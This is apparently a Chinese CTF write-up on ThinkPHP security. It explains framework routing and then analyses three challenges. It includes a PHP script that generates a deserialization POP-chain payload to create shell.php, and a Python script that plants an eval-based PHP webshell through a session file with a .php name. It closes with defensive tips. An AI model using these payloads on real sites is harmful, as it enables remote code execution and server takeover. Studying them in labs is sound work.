从0到1对基于thinkphp的相关CTF题目分析
字数 1524 2025-08-20 18:17:53

ThinkPHP框架安全分析与CTF题目解析

一、ThinkPHP基础介绍

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,遵循Apache2开源协议发布。它从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式。

MVC模式

  • Model(模型): 负责数据逻辑
  • View(视图): 负责展示
  • Controller(控制器): 负责业务逻辑

TP5.0目录结构

application       应用目录(可设置)
├─common         公共模块目录(可更改)
├─index          前台目录
│ ├─config.php   模块配置文件
│ ├─common.php   模块函数文件
│ ├─controller   控制器目录
│ ├─model        模型目录
│ └─view         视图目录
extend           扩展类库目录(可定义)
public           WEB部署目录(对外访问目录)
├─static         静态资源存放目录(css,js,image)
├─index.php      应用入口文件
runtime          应用的运行时目录(可写,可设置) //缓存目录
vendor           第三方类库目录(Composer)
thinkphp         框架系统目录
├─lang           语言包目录
├─library        框架核心类库目录
│ ├─think        Think类库包目录
│ └─traits       系统Traits目录
└─tpl            系统模板目录

命名空间与自动加载

ThinkPHP 5.0中,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,就可以实现类的自动加载。

系统内置的根命名空间(类库包):

  • think: 系统核心类库 (thinkphp/library/think)
  • traits: 系统Trait类库 (thinkphp/library/traits)
  • app: 应用类库 (application)

URL访问模式

在没有启用路由的情况下,URL访问格式:

http://127.0.0.1/thinkphp/public/index.php/模块/控制器/方法

二、路径与路由配置

1. 隐藏入口文件

通过.htaccess文件配置重写规则:

<IfModule mod_rewrite.c>
    Options +FollowSymlinks -Multiviews
    RewriteEngine On
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>

2. 隐藏模块

public/index.php中加入:

define("BIND_MODULE", "index");

这样可以直接访问/控制器/方法而忽略模块名。

3. 路由模式

  • 普通模式: 关闭路由,完全使用PATH_INFO
  • 混合模式: 开启路由,并使用路由定义+默认PATH_INFO的方式
  • 强制模式: 开启路由,并设置只能使用路由访问

配置位于application/config.php:

// 是否开启路由
'url_route_on' => true,
// 是否强制使用路由
'url_route_must' => false,

路由注册示例

application/route.php中:

use think\Route;
Route::rule('gtfly', 'index/index/test');

路由规则格式:

Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');

简化方法:

Route::get();    // 定义GET请求路由规则
Route::post();   // 定义POST请求路由规则
Route::put();    // 定义PUT请求路由规则
Route::delete(); // 定义DELETE请求路由规则
Route::any();    // 所有请求都支持的路由规则

三、CTF题目分析

1. 强网杯2019 Upload

漏洞分析

  1. 上传功能存在文件操作漏洞:

    • 上传文件后会将文件以md5(文件名)改名
    • 后缀拼接.png
    • 使用getimagesize()检测文件类型
    • 通过filename_tmpfilename进行文件复制
  2. 存在反序列化漏洞:

    • Index.php中存在未过滤的反序列化操作
    • 可利用RegisterProfile类的魔术方法构造POP链

利用链构造

__destruct() -> __call() -> __get() -> 任意函数调用

利用步骤

  1. 上传图片马
  2. 构造反序列化payload:
<?php
namespace app\web\controller;

class Profile {
    public $checker = 0;
    public $filename_tmp = '/var/www/html/public/upload/.../1.png';
    public $filename = '/var/www/html/public/upload/.../shell.php';
    public $upload_menu;
    public $ext = 1;
    public $img;
    public $except = ['index' => 'upload_img'];
}

namespace app\web\controller;

class Register {
    public $checker;
    public $registed = 0;
}

$a = new Register();
$b = new Profile();
$a->checker = $b;
echo base64_encode(serialize($a));
  1. 将生成的payload作为cookie提交
  2. 访问生成的shell.php

2. 安洵杯2019 iamthinking

漏洞分析

  1. 存在反序列化入口:
    $paylaod = @$_GET['payload'];
    unserialize($paylaod);
    
  2. 存在过滤:
    if (preg_match("/^O/i", $value)) {
        die('STOP HACKING');
    }
    
    可通过parse_url绕过:
    // 在host后面添加两个斜线可使parse_url失效
    

利用链1

__destruct() -> save() -> updateData() -> checkAllowFields() -> __toString() -> toJson() -> toArray() -> getAttr() -> getValue()

关键点:

  1. 利用Model类的__destruct方法
  2. 通过getValue中的$closure执行系统命令

利用链2

参考ThinkPHP6.0的反序列化漏洞,与"2020新春红包题"类似。

3. GYCTF2020 EasyThinking

漏洞分析

  1. ThinkPHP6.0存在session写文件漏洞
  2. session后缀可控,可写入.php文件
  3. 关键代码:
    if (!session('?UID')){
        return redirect('/home/member/login');
    }
    $data = input("post.");
    $record = session("Record");
    if (!session("Record")){
        session("Record",$data["key"]);
    }
    

利用步骤

  1. 正常注册账号
  2. 登录时设置.php结尾的session ID
  3. home/member/search POST一句话
  4. 访问/runtime/session/下的PHP文件

利用代码

import requests

url_reg = 'http://xxx/home/member/register'
url_log = 'http://xxx/home/member/login'
url_sea = 'http://xxx/home/member/search'

headers = {'Cookie': 'PHPSESSID=1234567890123456789012345678.php'}
data1 = {'username': 'gtfly', 'password': '123456'}
data2 = {'key': '<?php @eval($_POST["t"]);echo "not flag"; ?>'}

s1 = requests.post(url_reg, data1)
s2 = requests.post(url_log, data1, headers=headers)
s3 = requests.post(url_sea, data2, headers=headers)

test = 'http://xxx/runtime/session/sess_1234567890123456789012345678.php'
s = requests.get(test).text
if 'not flag' in s:
    print('success')
else:
    print('failed')

四、防御建议

  1. 对用户输入进行严格过滤
  2. 避免直接反序列化用户输入
  3. 及时更新框架版本
  4. 限制文件上传类型和后缀
  5. 配置安全的session处理机制
  6. 禁用危险函数

五、参考链接

  1. https://xz.aliyun.com/t/6924#toc-9
  2. https://xz.aliyun.com/t/7131
ThinkPHP框架安全分析与CTF题目解析 一、ThinkPHP基础介绍 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,遵循Apache2开源协议发布。它从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式。 MVC模式 Model(模型) : 负责数据逻辑 View(视图) : 负责展示 Controller(控制器) : 负责业务逻辑 TP5.0目录结构 命名空间与自动加载 ThinkPHP 5.0中,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,就可以实现类的自动加载。 系统内置的根命名空间(类库包): think : 系统核心类库 (thinkphp/library/think) traits : 系统Trait类库 (thinkphp/library/traits) app : 应用类库 (application) URL访问模式 在没有启用路由的情况下,URL访问格式: 二、路径与路由配置 1. 隐藏入口文件 通过 .htaccess 文件配置重写规则: 2. 隐藏模块 在 public/index.php 中加入: 这样可以直接访问 /控制器/方法 而忽略模块名。 3. 路由模式 普通模式 : 关闭路由,完全使用PATH_ INFO 混合模式 : 开启路由,并使用路由定义+默认PATH_ INFO的方式 强制模式 : 开启路由,并设置只能使用路由访问 配置位于 application/config.php : 路由注册示例 在 application/route.php 中: 路由规则格式: 简化方法: 三、CTF题目分析 1. 强网杯2019 Upload 漏洞分析 上传功能存在文件操作漏洞: 上传文件后会将文件以 md5(文件名) 改名 后缀拼接 .png 使用 getimagesize() 检测文件类型 通过 filename_tmp 和 filename 进行文件复制 存在反序列化漏洞: Index.php 中存在未过滤的反序列化操作 可利用 Register 和 Profile 类的魔术方法构造POP链 利用链构造 利用步骤 上传图片马 构造反序列化payload: 将生成的payload作为cookie提交 访问生成的shell.php 2. 安洵杯2019 iamthinking 漏洞分析 存在反序列化入口: 存在过滤: 可通过 parse_url 绕过: 利用链1 关键点: 利用 Model 类的 __destruct 方法 通过 getValue 中的 $closure 执行系统命令 利用链2 参考ThinkPHP6.0的反序列化漏洞,与"2020新春红包题"类似。 3. GYCTF2020 EasyThinking 漏洞分析 ThinkPHP6.0存在session写文件漏洞 session后缀可控,可写入 .php 文件 关键代码: 利用步骤 正常注册账号 登录时设置 .php 结尾的session ID 向 home/member/search POST一句话 访问 /runtime/session/ 下的PHP文件 利用代码 四、防御建议 对用户输入进行严格过滤 避免直接反序列化用户输入 及时更新框架版本 限制文件上传类型和后缀 配置安全的session处理机制 禁用危险函数 五、参考链接 https://xz.aliyun.com/t/6924#toc-9 https://xz.aliyun.com/t/7131